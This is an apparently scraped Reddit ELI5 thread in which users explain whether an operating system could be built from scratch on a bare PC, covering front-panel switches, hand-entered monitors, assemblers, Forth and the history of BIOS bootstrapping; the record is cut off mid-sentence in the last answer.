{"q_id": "4npri4", "title": "can we code an operating system from scratch using an empty pc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4npri4/eli5_can_we_code_an_operating_system_from_scratch/", "answers": {"a_id": ["d45v9fu", "d45vtpy", "d45vtvg", "d45vzhx", "d45w0ua", "d45w68c", "d45w8sn", "d45whub", "d45wl94", "d45wmd6", "d45wmrj", "d45wmte", "d45wu3p", "d45xjy8", "d45xuje", "d45xz7r", "d45y215", "d45y770", "d45y7fc", "d45y91l", "d45yfa5", "d45yifu", "d45yogz", "d45ywau", "d45yynp", "d4607vm", "d4616t7", "d461ae9", "d4621pp", "d46248j", "d463flf", "d463ldb"], "score": [1618, 116, 29, 202, 22, 3, 73, 3, 5, 4, 32, 2, 3, 2, 3, 3, 1085, 2, 6, 12, 2, 3, 6, 2, 3, 3, 5, 2, 2, 2, 3, 2], "text": ["Before operating systems, computers were programmed by switches on the front. Without an interface of some sort, you can't get data in to the computer at all. A \"clean\" PC has a simple operating system called the BIOS, a Basic Input/Output System in ROM (read-only memory), but that is designed to configure basic settings and start the boot process from disk. It does not provide any sort of interface that a programmer could use.\n\nIn older home computers, the operating system was already in ROM, pre-installed. The ability to load an OS from disk was a major innovation that defined the PC category, compared to home computers. Computers don't \"have to\" be that way, but PCs were made that way by choice. ", " >  Lets say if I locked an experienced coder in a room with a PC which has an empty hard drive, can he somehow code something to make the PC works?\n\nWithout anything else, no.  You need a way to provide the PC with the code you want to execute (another PC which would be able to write a bootable media -- USB key, CD/DVD -- is probably the easiest solution).\n\n >  If we need a computer with an operating system to code, then how does the creator of computer code the 1st ever operating system?\n\nWe used to have hardware allowing this (front panel with switches to initialize the memory before starting the computer, mechanical card and paper tape punchers, ...) but nowadays they are exceptional (I'd first look in computer museums) and for sure not standard.", "The first computers didn't have what we call Operating System, they just loaded a program to run written in a low level language understood by the machine.  \nThe program was translated from a human *readable* form to machine language by hand. When the computers became more powerful, they could do this part with a program instead of by hand. And assembler was born.  And the firsts OSes.  \nAs computers became more and more powerful they could make programs that translated a more human readable source code to assembler and to machine code.   \n  \nSo, technicaly some genius could do it from scratch, but I really doubt it. You'll need a way to write machine code to the adequate parts of the computer and go from there, and someone that knew **a lot** about how a computer works.", "Two big problems (and one dumb problem) with writing an OS with nothing but a blank computer:\n\n1. **How would you type?** As other users said, a blank computer is just the BIOS (that tiny splash screen you see before your actual OS loads when you boot the machine). Problem is, a lot BIOS varieties don't have a text editor, much less a file manager. I suppose you could find a BIOS with those but then, well, we'll get to that later.\n\n2. **What would you type?** Here we need to differentiate between code and programs: a program is a list of machine instructions that tell the computer what to do, it is unintelligible to humans and near impossible to write in. Open Chrome.exe with notepad and you will see what a program actually is, gibberish to anyone but the CPU.\nObviously you can't program like that so people use *code* which is a regular text file that details what a computer should do in a simplified and understandable manner. In order for a computer to run the code, it has to be translated into machine code and to do that you need a program called a compiler (Even assembly, which is sometimes mistaken for machine code, needs a compiler, albeit a dumb one). Problem is, the BIOS probably doesn't have those compilers on hand, so your programmer would be forced to write in machine code, a herculean feat I've yet to witness **EDIT: yes, it is possible, but it will be hard**. Of course you could find a BIOS with a compiler but then you run into a basic problem with the question:\n\n3. **What is an OS?** What is your operating system supposed to do? Is it supposed to manager files and handle text editing? Because that's already a prerequisite of the BIOS unless you plan to write code with a [magnetic needle and a steady hand](_URL_0_). Is it supposed to run other programs? That's what the BIOS already does! Is it supposed to connect to the internet? A lot of modern systems need third-party software (drivers and adapters) to do that anyway! The more resources you give your BIOS, the lines between it and a full-fledged OS become blurred and in order for a programmer to be able to write any program on a machine, it needs something akin to an OS.\n\nTL;DR: No, a common BIOS does not have the software tools necessary to write a computer program.", "Not with a modern PC. The earliest computers could be programmed by setting switches and loading data into memory. You can make a simple programming language this way and then make more complex programming languages. \n\nBut it's easier to use a different computer to program the OS and then put that on a disk.", "As others have said, the computer would have to boot something that at least provide disk I/O and a hex editor. Then, with enough time and the documentation, the programmer might accomplish something.", "When I started with computers I used  Alpha 16 from _URL_1_.\nThey had a \"clean\" core memory of 8Kb.\nFirst thing to do was to enter a 16 bytes bootstrap ( hex code ) by hand using front panel.\nThen run this 16 bytes to read a ~200 bytes loader from a paper tape using a teletype ASR33.( _URL_0_ )\nSpeed 10 bytes/s.\nThen using this loader to load the program I wanted to run using the same 10 bytes/s paper tape reader.\nWe did not have to enter the bootstrap and loader every day since the core memory did not lost it's content at power of.\nAll program we wrote was completely stand alone, no operating system what so ever.", " >  Lets say if I locked an experienced coder in a room with a PC which has an empty hard drive, can he somehow code something to make the PC works?\n\nWell, a modern PC already has a builtin operating system, namely the BIOS. But its functions are very narrow and usually don't include the ability to enter code to be executed or write to the harddisk.\n\nSo the answer is no, your coder would still need some additional tools or hardware. The most simple would probably be some sort of USB drive with a builtin keyboard that allows you to write to it, which you could then designate as the boot device.\n\n >   If we need a computer with an operating system to code, then how does the creator of computer code the 1st ever operating system??\n\nWay back when, computers had a physical \"control panel\" with hardware switches you could press to directly put individual instructions into memory or the CPU. It looked like this:\n\n_URL_0_\n\nThe image shows the control panel of a PDP-1, a very successful model produced by DEC first in 1959.", " >  Can we code an operating system from scratch using an empty PC?\n\nNo, you'd need a program to edit a file, not an empty PC.  If you google for 'how to write a bootloader' you'll see how to create the beginnings of an OS, which you could then load onto an empty PC.  Creating a simple OS is not very difficult.", "\"Legend has \nit  that  Seymour Cray (who invented the Cray-1  supercomputer,  and  most  of \nControl  Data's computers) actually toggled the first operating system for the \nCDC-7600  in  on  the front panel from memory when it was  first  powered  on.\" (\n_URL_0_ ) \n", "Might not be exactly what you're looking for but \"[Programming thought experiment: stuck in a room with a PC without an OS.](_URL_0_)\" is always a great read.", "Depends greatly on what you mean with \"empty\". If you would consider a SNES with Super Mario to be empty of anything usable to write software, then [yes you can](_URL_0_). Technically this is first writing a bootloader with a few bugs in Super Mario, and then using that bootloader to manually enter the actual code.\n\nIf you think this is only for the Tool-Assisted variants, there's a [manual version by SethBling](_URL_1_) who does exactly this by hand on an unmodified console.\n\nFor a regular PC, having an empty DOS install with just \"copy con\" could be enough to program a full-blown operating system - not even an editor needs to be available. It's unpractical, of course.\n\nLess unpractical could be to hand-solder together a read-only memory that holds your program, and then to link that up to your BIOS to be run on startup. That basically allows you to then use that to write software. Downside is that this approach is basically 30 years old and almost obsolete. Nowadays you have an EFI bios, which may ship just with an editor and filesystem drivers, so \"empty\" is relative.", "\"If we need a computer with an operating system to code, then how does the creator of computer code the 1st ever operating system??\"\n\nThe first computers didn't really have \"operating systems\", they had environments (designed with pencil and paper) that executed programs (also designed with pencil and paper).  I think something that is lost on many people is what a computer and a program is. At its roots, a computer is just interpreting and acting on a well defined set of instructions. \n\nThe part you imagine as being the hurdle to making an OS is a set of systems and abstractions to make working on a computer easier, but with an environment tuned for pencil and paper engineering (a access to the boot loader from a hardware input), there is nothing stopping you from making modern software (incuding OS) on modern hardware with nothing more than pencils, paper, knowledge, and time.", "This is a bit like saying: \"Can someone make an electric drill from scratch?\" Even if there's someone out there who can do that from basic materials and parts, there are a lot of tools that need to be made prior for that to even remotely be possible. And the materials need to be taken from the ground and processed (iron + coal for steel, copper for wiring, oil for plastics etc). And doing that will need even more tools (and domain knowledge) that will need even more materials and tools. \n\nIt's the same kind of thing. Modern OSes are written with many, many tools (like text editors, compilers, linkers, version control) and layers of software (processed materials: filesystem, display drivers, input drivers etc) that have already been written by other programmers sometimes decades ago (and they used tools that were already made back then). You wouldn't only have to write the OS, but make the tools to help make the tools to help write the OS. ", "With a PC today? No, not really. \n\nI am adding to the other answers with this tidbit that was missed:\n\nPCs have developed a lot in the last 35 years. In the beginning, yeah, it was possible for an experienced coder to code up an operating system... Else it would have been a chicken/egg problem. \n\nI am fuzzy on the first computer that actually started the \"chain\" of computers that led to computers as we know them right now. But let's assume people have mechanically created a device that can take hole punch cards to bootstrap it's initial system. People could punch those, no problem! This is how the first system was coded. Let's say this system had a way to input new code using a keyboard and output that code to... another device created. For example, an audio casette. \n\nSo this older computer uses an audio casette to record entered code, and a new computer with more transistors and more possibilites is created in the meantime that can take this audio casette and bootstrap itself from it using a device that takes the audio casette data and does an analog to digital conversion (which is possible without code, with a bunch of electrical building blocks) to push that into the new computer. \n\nThis process goes on until we have chips that can be flashed with one computer. So we put the code on a chip. Now we have a computer that loads it's base code from a chip but can be fed additional code using new devices, like another casette recorder or even a floppy disc. \n\nSo basically this computer has no possibility anymore to feed it code with no additional devices to actually write the code onto a data carrier. \n\nIn the beginning we had switches and punch cards which are human-createable and inputtable. Now we need chips that contain that code... So basically at some point we destroyed the possibility to create new eggs from scratch without a hen!", "The problem here is that better and newer computers are programmed by using older computers.\n\nAnd this sort of goes back to the first simple computers that were actually programmed \"by hand\" because they were so simple.", "I know it's not specifically what you asked, and it's nowhere near ELI5, but I have to link this amazing write up from 6 years ago by /u/kragensitaker. \"PC with no OS and a floppy disk\".\n\n_URL_3_\n\nFor the lazy:\n\nThe Monitor\n=========\n\nYou'd need a minimal \"monitor\" to start with \u2014 something that would let you enter in some binary code on an input device and jump to it. Here's a C version that lets you enter code in octal:\n\n    typedef void (*function)();\n    char program[32];\n    int main() {\n      char *t = program;\n      unsigned i, n;\n      for (;;) {\n        for (i = 3; i; i--) {\n          n = getch() - '0';\n          if (n  >  7) (*(function)program)();\n          *t = *t * 8 + n;\n        }\n        t++;\n      }\n    }\n\nTranslate that into 8086 machine code with a BIOS call for `getch()`, put it on the boot sector of the floppy, and you're golden. GCC compiles it into 12 instructions, plus the function prologue for `main()`. I think that would be 32 bytes in 16-bit mode. (Maybe the BIOS call would push it a couple of bytes over.) (I don't actually remember if the alt-keypad thing that lets you type arbitrary bytes is in the BIOS. If so, you could probably simplify the minimal monitor program above by removing the loop.)\n\nTraditionally a monitor like this was first built into the hardware, and a little later as software in ROM. If you want to use it for more than a very short period of time, it needs at least a few more features:\n\n- the ability to correct keyboard errors;\n- the ability to see what you're typing (or does the BIOS have a call for `getche`?);\n- the ability to display the contents of memory;\n- the ability to change the address at which new bytes will be put into memory;\n- the ability to install themselves at some interrupt vector so that you can return to them when your program hits an infinite loop;\n\nSo your first task would be to write a more full-featured monitor program, on paper if possible \u2014 otherwise carve it into the desk surface with some removed part of the computer \u2014 and then *very carefully* type it in. Your second version, with a backspace, might be 40 bytes or so; you now need to type in 120 octal digits without making a single error, followed by some character that isn't an octal digit. If you do this correctly, you are rewarded by seeing your new program come to life!\n\nYour next task is to enhance your monitor program to be truly usable, by adding the rest of the features listed above. And then you want to find a way to write it to the floppy drive.\n\nAt this point you are hoping that this is a 5\u00bc\" floppy drive so you can cut a couple of holes to make the disk into a \"flippy\": there's a substantial chance you're going to make a mistake and screw up writing your first boot sector, and if you do that, you're out of luck for the rest of your prison term.\n\nSo you write a call to the BIOS disk I/O routine, use it to write your new monitor program to the disk (hopefully on the back side of the disk), hold your breath, and test it.\n\nNow you write another disk I/O routine that checks its argument to make sure it's not writing to the boot sector (or the original boot sector, which is at a different apparent location with the disk backwards) and start your system in earnest.\n\nEdit: fixed two bugs in initial monitor code. Man, I would be so fucked if I were really in this situation.\n\nThe Assembler\n===========\n\nYour next task is to write an assembler, in memory, using your monitor. It doesn't have to be a fancy assembler with luxuries like multi-character mnemonics, the full instruction set, and stuff like that; it just needs to be an improvement over typing in x86 code in octal. Single-letter case-sensitive mnemonics for 25 or 30 opcodes, plus the ability to calculate jump offsets, are probably plenty to get to the next step. Save your assembler to the floppy in an unused sector. (You should be keeping a map of what's in what sectors, carved into the desk if necessary.)\n\nThis is also about the time you want to enhance your monitor program to show you the contents of registers and to be able to single-step.\n\nAt this point you have achieved your original goal of being able to implement Tetris or Freecell. The next step after here is roughly as hard as implementing one of these games in this impoverished assembler, so it isn't practical merely as a step toward that goal. But if you want to get to an operating system with a graphical user interface, read on.\n\nA Low-Level Language: Forth\n======================\n\nYour next task is to bring up some kind of Forth, using your assembler. You can implement the basic primitives for a fairly reasonable Forth in about 200 instructions and 400 bytes of machine code, but that doesn't give you a text interpreter; that's another few hundred instructions. You can test each routine from your monitor program as you write it. (I have an [incomplete token-threaded Forth](_URL_2_) in 399 bytes of machine code, and a [complete self-compiling Forth compiler](_URL_0_) in 66 lines of code.)\n\nNow you want to enhance your monitor program once more: you'll only be using it at boot time from now on, so you add a command to load and run a sector from elsewhere on the disk, so you can reboot more easily. You're going to be rebooting a lot, because every time you write a program that overwrites the wrong parts of memory, the machine is going to crash.\n\nSo at this point you've written somewhere around a thousand lines of code, which sounds like you ought to be able to do it in a day or two, but if you're like me, it's probably really more like two weeks because of the amount of effort involved in figuring out what went wrong each time you have a bug. And you're on the verge of having a usable programming environment: Forth has replaced your primitive assembler and monitor as your user interface of choice, you it can pretty easily be extended to loading programs from parts of the floppy disk, and now you probably want to implement some kind of minimal filesystem so that you don't accidentally overwrite your Forth operating system. It doesn't have to support fancy features like files that aren't contiguous on disk, files whose length isn't an exact number of sectors, nonsequential access, altering existing files, or multiple directories. It just has to keep you from accidentally overwriting data you meant to keep.\n\nNow you probably want to write some utility programs: something to delete a file, something to defrag the disk, something to make a copy of a file, something to list the files on the disk, something to make a new version of a file. Also, you're probably becoming frustrated with waiting for the floppy disk to read and write data, so you probably want to implement LZW and huffman coding so that you can compress your files for speed. Also, you're going to have a hard time fitting the source code for an OS with a full-featured GUI on a single floppy disk without compressing it.\n\nYou can also very easily write a much more full-featured assembler now as a Forth vocabulary. Implementing your assembler as a Forth vocabulary magically gives your assembler macros and compile-time evaluation. You probably also want to write a disassembler now for debugging purposes.\n\nYou probably want a text editor now, with features like insert and delete, instead of poking strings of bytes into memory locations that contain your source code.\n\nProtected Mode and a Memory-Safe Language\n==================================\n\nBy this time, you probably want to be in 32-bit protected mode, unless the machine is so old that it doesn't support it or doesn't have more than a few hundred K of memory. Programming the x86 in 16-bit real mode is a pain; you have these constant tradeoffs between performance and imposing arbitrary limitations on data structure size.\n\nThe downside of this is that all the machine code you've written up to now won't work any more. Hopefully you can alter your Forth assembler to generate 32-bit code, and generate a 32-bit version of your Forth from a Forth version of its source code.\n\nYour next problem is probably to implement a memory-safe language, so you can stop spending so much time tracking down pointer errors. This is probably easier to do by implementing a dynamically-typed language like Lua than by implementing a statically-typed language that's advanced enough to be pleasant to use like OCaml. You might be able to do this by implementing a memory-safe vocabulary in Forth, but I've never heard of anyone doing this.\n\nAlternatively, you could implement fancier syntax for an unsafe low-level language first, in the manner of C. You probably want to use [PEGS](_URL_1_ \"parsing expression grammars\"), because you can implement a parser generator for those in under a hundred lines of code, and they're roughly as powerful for commonly-used languages as LALR parsers.\n\nGiven the constraint of a single floppy disk, you probably want to compile all of this stuff into memory from a minimal bootstrapping interpreter at boot time, rather than compiling source code and storing the compiled results. (I'm assuming you have several times as much memory as floppy-disk space.)\n\nGraphics\n======\n\nAt this point you want to do graphics. Set the graphics mode to 640\u00d7480\u00d716 via the BIOS, implement some graphics primitives by writing to the frame buffer, interface to the mouse so you can point at stuff on the screen easily, copy the font out of the VGA ROM, and implement a simple windowing system, a graphical text editor, and your games.\n\nHow does that sound? Remember the Macintosh guys did this stuff, without having seen it done before, on a 128kiB machine, mostly in assembly, in 1977\u20131983.", "As a programmer, I know a simple truism:\n\nTo truly understand a program, the programmer must become both the program and the machine.\n\nWhat this means, is the programmer has to be able to visualize the environment he's working in, see the \"running machine\" in his head AS IT RELATES TO HIS CODE. Most code runs either through compilers or through interpreters to get to the machine it's running on...and usually, even genius programmers only work on small parts of even small systems at a time.\n\nModern PCs are just too complex.\nEdit: Honestly, in a room without internet access, and you need to know how all those chipsets work...that would be a mountain of documentation, assuming you actually had some kinda way to get code into the machine via some BIOS utility or something(Zenith FTW).\n\nNow, if we're talking about something like a modern Arduino...yeah, you could write a OS for that.\n\n", "I haven't yet seen any answers that i think satisfy the question well enough. Some people have alluded to the inherent problem which is, how do you put the code to run an operating system on the computer without an operating system?\n\n\nThe first thing to touch on is a simple IC or collection of IC's (Integrated Circuit) is those little black chips you sometimes see on electronics. They come in the form of NAND, AND, OR and XOR gates. There are other but i'll try to keep it simple. really all computations are sets of BOOLEAN operations.\n\nA simple explanation of a BOOLEAN operation is an AND gate. so for the output to be 1, or TRUE, input 1 AND input 2 must be 1. you can have AND gates with more than two inputs but at it's core you can create a circuit that will perform actions on the outputs based on the configuration of the inputs.\n\n\nA simple example is a light switch. if you want the light ON you flip the light switch. when the light switch is in one position it's off, in the other it's ON.\n\nThe cool thing about NAND gates? they only output a 0 when both inputs are 1. in a specific configuration they can actually store a value! MEMORY! so if you collect enough NAND gates together in the right configuration you can make a circuit remember a 'state'. in this context a state is the input configuration that produces a specific output.\n\n\nSo, a simple memory setup can then be configured by using a string of off and on pulses to load a value into this memory register. if you have enough registers, for arguments sake lets say 4, you can assign them arbitrary responsibilities. the key point is ARBITRARY.\n\nAs they designer you make the choice of what these registers do. for example. usually on a microprocessor board space is at a premium. you know what takes up space. input/output pins! so you have 4 accessible pins in total for input and output duties. You have to also connect things like a DAC (digital to analogue converter) to the processor and so forth.\n\nSo you use this register to decide WHAT is connected to this I/O pin at any given time. how? you assign each service connected to this I/O pin a specific binary number. let's say the register is 8 bit. so 0000 is the DAC, etc.\n\nnow you may or may not know that most PC's and even Macs these days run on what's called x86 hardware. this is essentially an instruction set called assembly language. Assembly language is essentially one abstraction layer away from the simple 1's and 0's of 'machine code'.\n\nAn example x86 assembly instruction: ADC = Add with carry. basically means add one memory register to another and then carry the 'remainder' up to the next binary significant bit. these instructions just tell registers how to behave in a programmed sequence and all processor designs would have an instruction list which you would use to write a proto-Operating System which you can then use to make a programming language which is more human readable. \n\n\nSo with the right components and hardware level know how you can build a computer with a basic operating system to write a code that would allow a processor to convert hardware instructions into what we have come to know as an operating system.\n\n\nHopefully that sheds some light on it for you.", "Very short answer, no. Computers didn't start off like the way we see now. Most early computers were analog devices, constructed of many vacuum tubes and wires. The electronics inside were wired to create logic gates, and with these combinations of logic gates, controlling the flow of electricity through these gates in a primitive binary input, by way of switches, or even patch cables, allowed these early computers to run very basic programs. Most early computers started off performing math calculations, at a very fast rate. Things like monitors, printers, scanners etc didn't exist. The computer was programmed simply by setting physical hardware up, such as switches mentioned above, to do something. Here's an example, albeit a very simple example, of what I was talking about. If you have a three way light switch in your house, you know the ones that can turn on or off a hall light at both ends of the hallway, is an example of an analog XOR gate, or exclusive OR. Basically, an OR gate says that as long as I have power at one input, or switch, then I will have power out at another switch, light etc. If there is no power at any input then no power will be provided at any output as well. But an exclusive OR gate says that if I have power at only one input, and only one input, (that is, if power if sent to more than one input, then the output is no power) which is how the 3-way light switch works. If both light switches are in the down position, (typically, in most residential houses, a switch in the down position is off, that is, no power provided to the light), or, 00 in binary. But if we turned on the first light switch at the beginning of the hallway, a (10 in binary, 0 is off, 1 is on and 00 represents the two switches) then the light turns on. Now if we walk to the other end of the hallway and flip the other switch on, (11 in binary) the light turns off. Reason being is that an exclusive OR gate only allows one input to be on, to power on a device, and seeing as we now have two inputs on, the device is now powered off, so in our example, the hall light turns off. If we now travel back down the hallway and flip the switch down, which is now in the off position, we now have 10 in binary. Exclusive OR gate sees only input powered so the light turns on. When we reach the first switch and also flip it down, to the off position, the switches are now 00 in binary, and the light turns off. \n\nEarly computers operated very much like the three way switch example. Physical inputs controlled through switches, and ran through various logic gates, (AND, OR, NAND, NOR, XOR, etc) all reacted differently to these inputs, and when physically combined together in a very crudely manner, acted like a 'program', and the various combinations of inputs, would result in a specific output, which is the result of running the 'program'. Modern computers still use logic gates, but now, there are billions of these logic gates, all physically created inside the computers circuits, within devices called processors, which  are sometimes smaller than a dime! What a compiler and interpreter does, is allow the programmer to write code, (or in our example, physically set up switches to accomplish a basic task) but in a 'high level way'. So instead of sending 10 in binary down to the computer to control our basic lamp example, the programmer would write something like setLight(on); and the complier eventually, sets the corresponding bits to '10'. Again, this is extremely simplistic but even with the most complex computer systems today, it still boils down to setting up a series of logic gates to perform, or do something. And everything you see and do on a computer today, still results in a simple binary code of 0's and 1's. Power, or no power, or, input to logic gate, or no input to a logic gate. \n\nSo a simple computer controlled by physically setting up switches, evolved to what we have today, but now software programs, coded in a high level language, (C, C++, Python, Java, LISP, and on and on) still do pretty much what the early computers did, but in a much more advanced and technical manner. Without this compiler, writing an OS from scratch is near impossible. ", "There was a golden period 1977-1988 when this was possible (I'm GenX so, yes, I look fondly on those days). The OS was stored in ROM in those days (Atari 800, Apple ][, etc.). Part of the reason was that removable media (namely, floppy diskette drives) were so expensive ($2000 in today's dollars) that they were optional. Those OS's were developed on much larger computers, not the \"target\" computers themselves. And the OS's had a high-level programming language (BASIC) built into the ROM! Anyone could just turn on a computer and start coding away. These days, to teach programming, often to simulate that magical experience, the closest to come to it is opening a web browser, hitting SHIFT-CTRL-I and start typing in Javascript.\n\nWhen a floppy diskette drive was attached, you needed a DOS (disk operating system), but the DOS handled *only* talking to the diskette drive.\n\nThen the IBM PC came along and moved the OS into its DOS, leaving only the BIOS in ROM. A PC BIOS (then as well as now) knows only how to look for an OS -- it doesn't provide any way to type commands, for example. That means you'd better have some other working computer on which you can develop an OS to feed into your PC (then as well as now).\n", "First, you must have a way to input code that is understandable as code by the computer. For this, let's assume that you have a keyboard and some sort of basic system monitor running on the computer. A basic system monitor should let you read and write memory addresses into which you could insert hexadecimal codes. It's technically not an operating system, so it does not violate one of your preconditions.\n\nSecondly, you have to write code in assembler and manually convert it to hexadecimal or, if you are really good, you just write it out in hex, then you input that into the system monitor. Your first goal is to write code to read and write basic sectors to the empty hard drive so that your code can persist if you lose power or want to keep different versions of your code.\n\nAt this point, we are at an awkward point. If the computer has no facility for an auto-boot sequence, where it checks a particular sector of the hard drive for code to load in on its own, then you have to type in at least the \u201cread disk\u201d code from step 2 every time power is lost.\n\nThirdly, now that you have established the ability to save your code to disk, you can begin writing a core operating system which lets you do things like list the files on the disk, rename files and copy and delete files. It should also allow you to run binary code directly from the disk (load file to a specific memory address and then execute). At this stage, you don't even need to think about folders. This disk I/O would also be written via the system monitor because you do not yet have an assembler..\n\nFourth, you write an assembler. This is a program which will input something like \u201cLDA #$12\u201d and output something like \u201cA912.\u201d The \u201cA912\u201d is hexadecimal and what you've been writing so far. An assembler lets you move one step away from the ultra-low level coding, which then lets you write your code more quickly and slightly more abstractly. Let\u2019s go so far to say that you have no error-checking or exception handling in your assembler because you are still lifting yourself by your bootstraps and those would be luxuries.\n\nFifth, you write a better operating system in assembler. This operating system should let you create, rename and delete folders. It should let you move folders and files to different locations on the hard drive. It should let you copy files and folders from one drive to another so that you can perform backups.\n\nSixth, you write a better assembler in assembler. This new assembler should perform error-checking and exception handling as well as do things like allow you to abstract away memory addresses and have it auto-link to any acceptable location in memory. This new assembler should be \u201chooked into\u201d your underlying operating system so that you can read and write your source code and the resulting binary to and from the disk.\n\nSeventh, you write a C (or some other mid-level language) compiler in assembler. This compiler should also \u201chook into\u201d the underlying operating system so that you can read and write source code files to and from the disk as well as save your compiled binary to disk. You can add error-checking and exception handling to this compiler if you wish.\n\nAt this point, you have all the useful tools necessary to write in a portable language, meaning you can adapt software from other systems for your computer. You've pretty much dug yourself out of the hole of a computer that can do almost nothing except display a system monitor.", "The short answer is yes. The long answer is that the coder would die of old age before he was done if you expected very much. I cringe at the thought of trying to build an assembler out of nothing in 2016. Thankfully, it's sort of a lost art.\n\nWhile very possible with low expectations of \"make the PC work\" if the 'coder' has this skill set, not that many do these days.... and if they once did, they've probably forgotten most of it.\n\nFew work at that low of a level anymore. Thank goodness. The last time I personally had to do something like this was a Y2K exercise to check embedded systems with essentially no toolkit. It took me a year, and the problem you're proposing is harder.\n\nI personally couldn't do it - but could have 20 years ago. I don't really think they teach this stuff in CS classes anymore, do they? The number of folks that could pull it off these days is pretty low.\n", "Here's your answer: _URL_0_\n\nThis guy explains how it could be done, step by step, from scratch.", "You can, but it's not easy. This link has a detailed walkthrough of how to do it. \n/r/programming/comments/9x15g/programming_thought_experiment_stuck_in_a_room/", "The answer is no. You cannot put an experienced coder in a room with a PC which has an empty hard drive and expect the programmer to write an operating system from scratch without documentation and without outside interaction.\n\nThe first \"PC\" wasn't a \"PC\". It was a mechanical computer. As the hardware became progressively more complex, so did the operating systems. There is your answer. Please also read:\n\n_URL_0_", "Assume there is a processor assembly, byte-code manuals (ah, [memories](_URL_0_)) and some way to alter bytes on the drive (e.g., lets assume thatthe BIOS allows some crude sector editing or such)\n\nBefore BIOS, I had to flip switches on a front-panel (pdp-11) to set registers, hit the  < load >  button, then flip in the next command, load, command, load ... to get the thing to boot some bytecode on a storage drive. \n\nSee the row of switches at the bottom of [this pict](_URL_1_)\n\n\n*so ... here we go ... simplistic explanation ...*\n\n**Hand jam a boot loader**\n\nKnowing the processor's byte code, you use a sector editor to write bytes onto the hard drive to initialize the hardware, load a bunch of code (to be written) into memory and execute it.\n\n**Hand jam a mini-OS command line functionality**\n\nNow, you do the same thing to create that \"tbd loaded code\" -- compose what you want to do, manually compile it to byte code, write those bytes to the drive sector you will be loading.\n\nSo, the code needs to provide you some minimum environment to work -- e.g., a command line to interact,  a layer (of modules or drivers) to interact with the hardware. \n\nThat will take a while ... \n\nOK -- so manually compile those things, write the bytes into some bootloader on the drive (some sector). \n\nLets check progress:\n\nNow you have a small, sector 0 chunk of code that a newly booted BIOS will load and run. It loads up a large sector of functionality into memory and JMPs to that location.\n\n**Oops, hand jam a \"file system\" concept into mini-OS**\n\nYou need to come up with some scheme to use the drive -- like a file system concept -- so you can save/load data from the drive sectors.\n\nSo - same gig: manually lookup the byte codes, manually compile, poke the bytes into that large chunk of code you boot into. My goodness, this would be nice if we had the concept of drivers or modules for the OS. Oh well ...\n\nAt this point your user interface/command line, can have some sense of \"files\" with which you can interact (e.g, ls/dir, maybe edit, etc.)\n\n**\"Load and run\" command **\n\nThis is not enough. So, you go back to updating this loaded mini-OS with some more functionality -- a way to \"load and run\" files.\n\nSame gig again -- lots of writing on paper, converting byte codes, poking into locations on the drive. \n\n**A compiler can speed things up now**\n\nYou are tired after reading the intel bytecode manual, writing code on paper, then manually compiling the assembly into bytes ... with which you'd write out to the hard drive with your sector editor.\n\nSo, you write your first app, using the built-in \"edit\" command, so you can use the new \"load and run\" command.  This app would be some kind of COMPILER (automating your lookup, convert, calculate and store bytes' efforts).\n\nThis takes some time. \n\nYou use the edit command now (easier than poking bytes into drive sectors manually). You create something that parses, tokenizes, lexes and scans assembly language, compiles that into bytecode, and creates new files. \n\n**Snippets and Compiler**\nYour convention is to name \"source code\" files as \"xxxx.asm\" and the output files as \"xxxx.o\" You also create an app that takes a list of .o files and creates a larger, aggregate app.\n\nThis is so that you can keep various snippets of code in your .o files, so you can quickly create new code from these \"library snippets\"\n\nThis takes some time -- but your progress can speed up now. \n\nYou can edit files, compile into apps and run those apps.\n\n**Its like DOS with a compiler now**\n\nBoom! you are ready. You have a DOS like command line with OK functionality, and a way to create new apps  &  extend the OS.\n\nI think this qualifies as a DOS-like OS with the ability to move forward to better OSes with more sophisticated functionality.\n\n", "The original operating systems were \"bootstrapped\" where machine code/input wire electronics was written to create a basic instruction list that eg ad divide etc. This was about the input settings. Have a look at the z80 processor for examples. The basic instruction lists were then used to create basic compilers which in tandem with a computer code (in c things like while or end or float) etc were then used to create code to run on. The old compiler was then used to make the next compiler and so on. This was done until you had a functioning code or compiler. Coders then used that to build operating systems", "This question sums up the entirety of human software development rather well; Computer genesis so to speak.\n\nThe long story short is that we started by hard coding our software using flip switch and punch cards or paper tape. We would then load that into the system and build tools to make more complex programs. and then use those tools to make more complex tools and so forth and so forth. Oddly enough the reason the computer revolution did so well was the fact that a lot of the technology was open in some way shape or form and promoted expansion. We have reached a point now however that systems are so incredibly complicated that no one person, or even company would be capable of developing a modern OS from scratch. It can be done but the system would be inefficient lack major features and compatibility\n.", "Yes you can and old computers (pre OS) you had to do it every time you turned it on.\n\nWindows 10 has around 40 million lines of code and if you do a mistake in any of these lines, you might not have a working computer.\n\nAlso good luck using a high level language like C, java or any other alternatives as they are turned into byte code/assembly code (depending on how they were written and what uses they got). You will have to use binary to make assembly language (which is tedious), then off that you build off and make more complex product. This is called boot strapping as you build off what you made and every instruction type. \n\nTodays computers have whats called a BIOS (Basic Input/Output System) and they don't have any way to make an OS. You would have to put some instructions in a specific part of the hard drive for the computer to start (which depends on your hard drive size).\nHowever Microsoft uses tools like visual studio, git hub, low level environments to make what they want and will strap it together with a n OS installer (which is also an OS) which will put everything in the right place.\nWe all moan at Microsoft and Apple when things go wrong in the OS. I was talking to someone from Red-hat and every little change they do to the code is requires a huge testing matrix (what they have to test and how) as any little error in the operating system can cause huge problems with data loss/corruption or system loss immediately after upgrade or a while after release.\nYes you can, but you need to know exactly what you are doing.", "The answer is no. You cannot code a modern computer from scratch. Old PCs like Altair that gave you the switches then yes.\n\nThe bare minimum you would need on a modern computer with a BIOS would be a bootloader along the lines of GRUB or LILO that would let you drop to a basic interpretive language or runtime BASIC-like the old apple II computers.\n\nIf you want the challenge of writing an OS from scratch you can do it but you will have to bootstrap off another OS for a bit. More then likely the lowest language you'll use is assembly like NASM to write your bootloader but even now that is a bit impractical as the BIOS now has so much to it you'll likely start with C\\C++\\etc.\n\nIf you want that experience grab an emulator for something like an Altair emulator, there are tons of them.\n\nThen I suggest following Steve Wozniak's progression on how the Apple came about.\n\n\nThe rough outline is usually : \n\n* Code A bootloader for your disk operating system\n* code some input and output functions so you can stop flipping switches, loading paper tape, and line printing output and use a keyboard and monitor.\n* Code your R,W,E portions of your OS so you can access the hard disk. That also means a file system of some sort.\n* Code a shell that is loaded by default by your OS\n* code a compiler to translated text into machine code your OS can then execute\n\n\nEstimated time for a single person to write up a functional OS from scratch using just initial toggle switches for an Altair, with no BIOS, etc. 4-6 weeks with some 